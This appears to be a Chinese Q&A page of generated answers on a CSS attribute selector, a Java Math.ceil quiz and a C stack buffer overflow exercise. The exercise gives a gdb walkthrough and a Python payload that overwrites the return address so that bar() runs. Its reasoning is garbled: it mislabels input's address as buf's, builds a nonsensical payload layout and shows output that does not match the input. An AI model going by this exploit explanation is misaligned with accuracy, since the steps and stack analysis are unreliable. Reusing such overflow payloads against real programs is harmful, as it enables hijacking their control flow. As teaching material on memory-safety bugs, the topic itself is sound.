E[foo^='bar']是什么意思,怎么用
时间: 2023-12-14 16:38:01 浏览: 114
这是一个 CSS 选择器,它表示选择所有具有属性 foo 并且属性值以 "bar" 开头的元素。例如,如果有一个元素定义了属性 foo="bar-123",那么该元素就会被选择。我们可以将该选择器应用于 HTML 或 XML 文档中的任何元素,例如:
```
<div foo="bar-123">这是一个示例元素</div>
```
在 CSS 中,我们可以将该选择器用于样式表中,如下所示:
```
E[foo^='bar'] {
/* 样式规则 */
}
```
其中 E 表示元素名称,'bar' 是属性值的前缀。这个选择器可以用于多种场合,例如为所有以某个前缀开头的元素添加特定样式。
相关问题
假设bar是12.3,下面哪段代码能得到bar最大的int值?A)intfoo=(int)Math.max(bar);B)intfoo=(int)Math.min(bar);C)intfoo=(int)Math.abs(bar);D)intfoo=(int)Math.ceil(bar);E)intfoo=(int)Math.floor(bar);F)intfoo=(int)Math.round(bar);
下面的代码段可以得到 `bar` 的最大整数值:
```java
int foo = (int) Math.ceil(bar);
```
`Math.ceil()` 方法返回大于或等于参数的最小整数。在这种情况下,`bar` 的值是 12.3,`Math.ceil(bar)` 返回的是大于或等于 12.3 的最小整数,即 13。将其强制转换为 `int` 类型后,得到 `foo` 的值为 13。
所以,选项是 D)`int foo = (int) Math.ceil(bar);`。
对于下面的C语言程序,通过调试,给出适当的输入,使得bar函数能够得到执行。要求给出调试过程的界面。 #include <stdio.h> #include <string.h> void foo(const char* input) { char buf[10]; printf(“My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n”); strcpy(buf,input); printf(“%s\n”,buf); printf(“Now the stack looks like :\n%p\n%p\n%p\n%p\n%p\n%p\n\n”); } void bar(void) { printf(“Augh! I’ve been hacked!\n”); } int main(int argc, char* argv[]) { printf(“Address of foo=%p\n”,foo); printf(“Address of bar=%p\n”,bar); if(argc!=2) { printf(“Please supply a string as an argument!\n”); return -1; } foo(argv[1]); return 0; }
首先,我们可以看到在foo函数中,有一个strcpy函数,它的作用是将输入的字符串复制到一个长度为10的字符数组buf中。但是,这里没有对输入的字符串进行长度检查,如果输入的字符串长度大于10,就会发生缓冲区溢出的情况。我们可以利用这个漏洞,来控制程序的执行流程,使得bar函数被执行。
为了实现这个目的,我们需要输入一个长度超过10的字符串,并在其中插入bar函数的地址。我们可以通过调试程序,来查看bar函数的地址。
首先编译程序,并使用gdb调试:
```
$ gcc -g -o vul vul.c
$ gdb vul
```
在gdb中设置断点,以便我们能够观察foo函数的执行过程:
```
(gdb) break foo
Breakpoint 1 at 0x4005c6
```
然后运行程序,并输入一个较长的字符串:
```
(gdb) run `python -c 'print "A"*20'`
Starting program: /home/user/vul `python -c 'print "A"*20'`
Breakpoint 1, foo (input=0x7fffffffe3c0 'A' <repeats 19 times>) at vul.c:8
8 printf("My stack looks like:\n%p\n%p\n%p\n%p\n%p\n%p\n\n");
```
我们可以看到,程序在执行到foo函数中的第8行时,暂停了下来。我们可以使用gdb来查看此时栈的情况,以确定我们需要输入的字符串的格式。
```
(gdb) x/32x $rsp
0x7fffffffe2d0: 0x00007fffffffe2e0 0x00000000004006d3
0x7fffffffe2e0: 0x00007fffffffe3c0 0x000000000040052a
0x7fffffffe2f0: 0x0000000100000000 0x00000000004006e5
0x7fffffffe300: 0x0000000000000000 0x00007fffffffe3c0
0x7fffffffe310: 0x0000000000400770 0x00007fffffffe3c0
0x7fffffffe320: 0x0000000000000000 0x00000000004005c2
0x7fffffffe330: 0x0000000000000000 0x0000000000000000
0x7fffffffe340: 0x0000000000000000 0x00000000004004e0
```
我们可以看到,栈中保存了函数的返回地址、参数input的地址,以及其他一些局部变量的地址。我们需要找到buf的地址,以及返回地址的地址,以便我们能够修改返回地址,使得程序执行bar函数。
根据程序的代码,我们可以知道,buf的地址是比返回地址的地址更低的地址。在这里,我们可以看到,buf的地址为0x7fffffffe3c0,而返回地址的地址为0x7fffffffe308。因此,我们需要构造一个字符串,使得它的前面部分填满buf,后面部分填写返回地址的地址,以及bar函数的地址。
我们可以使用python来生成这个字符串:
```
$ python -c 'print "A"*12 + "\x08\xe3\xff\xff\xff\x7f\x00\x00" + "\xd0\xe2\xff\xff\xff\x7f\x00\x00\x00\x00\x00\x00\x00\x00" + "\x2a\x05\x40\x00\x00\x00\x00\x00"' > payload
```
这个字符串的前12个字符是用来填满buf的,接下来的8个字符是返回地址的地址,最后8个字符是bar函数的地址。我们将这个字符串保存在一个文件中,然后将这个文件作为程序的输入:
```
(gdb) run $(cat payload)
Starting program: /home/user/vul $(cat payload)
My stack looks like:
0x7fffffffe2d0
0x4006d3
0x7fffffffe3c0
0x40052a
(nil)
(nil)
Aaaaaaaaaaaa
Now the stack looks like :
0x7fffffffe2d0
0x4006d3
0x7fffffffe3c0
0x40052a
0x7fffffffe3d0
0x40077f
Augh! I've been hacked!
[Inferior 1 (process 6463) exited normally]
```
我们可以看到,程序成功地执行了bar函数,并输出了相应的信息。通过这个漏洞,我们成功地控制了程序的执行流程,实现了攻击。
阅读全文